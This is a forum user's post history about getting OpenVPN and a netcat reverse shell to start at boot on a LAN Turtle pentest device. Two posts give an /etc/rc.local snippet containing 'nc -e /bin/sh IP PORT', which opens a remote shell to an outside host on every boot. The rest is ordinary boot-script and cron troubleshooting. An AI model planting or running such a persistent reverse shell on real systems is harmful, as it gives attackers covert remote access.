Jump to content

scavmartin

Active Members
  • Posts

    8
  • Joined

  • Last visited

Posts posted by scavmartin

  1. Thanks for the data, in case it helps you can achieve the same result by just editing /etc/rc.local and adding the commands you want to start on boot there. Note there is no service or systemctl on the turtle. So my /etc/rc.local looks like the following to start a nc reverse shell and a openvpn

     

    /etc/init.d/openvpn start
    #sh reverse shell
    nc -e /bin/sh IP PORT
    #Add your commands above this line
    exit 0

  2. See the following threads, It appears a lot of the modules start on boot does not work. A workaround for anyone reading this is to add the command in /etc/rc.local

     

    For example I enable OpenVPN and start a nc reverse shell and my /etc/rc.local looks like this. Note there is no service or systemctl on the turtle

    /etc/init.d/openvpn start
    #sh reverse shell
     nc -e /bin/sh IP PORT
    #Add your commands above this line
    exit 0

     

  3. Just now, Rainman_34 said:

    I have had similar issues.  However when I click start openvpn it doesn't even work as expected but inputting the command manually does work fine.  My work around to it was to create a script in /usr/bin/ file location titled startup.sh -  Then in that file I did the following:

    #!/bin/bash

    sleep 1m && openvpn --daemon --config /etc/openvpn/my-vpn.conf

    Then in the cron module I did:

    @boot /usr/bin/startup.sh

    Don't forget to make the startup script executable.  There are also some firewall rules and a network interface added to your files that I can provide screen shots for if you need them once I get home.  If those changes are not made the turtle will lose all internet connection and the packets will not flow as the hak5 team likes to say.  Feel free to message me if you need any help.

    I think the issue is more widespread as netcat-revshell does not start on boot either for me and I followed this other issue. My openvpn does start manually and through init.d as well.

     

  4. I have configured my openvpn on my turtle lan. The openvpn works fine if I manually start it in the menu or issue a /etc/init.d/openvpn start command. I have set the Bootup Status to Enabled. I reboot the turtlelan and openvpn does not start, viewing the menu it confirms that Bootup Status is Enabled and the Current Status is stopped. If I click on Start the openvpn starts up and works as expected. But I cannot get openvpn to start on bootup even though it is configured to.

     

    Side note: If you click on stop after start you get "Command failed: Not found" for an error and the openvpn is still started.

×
×
  • Create New...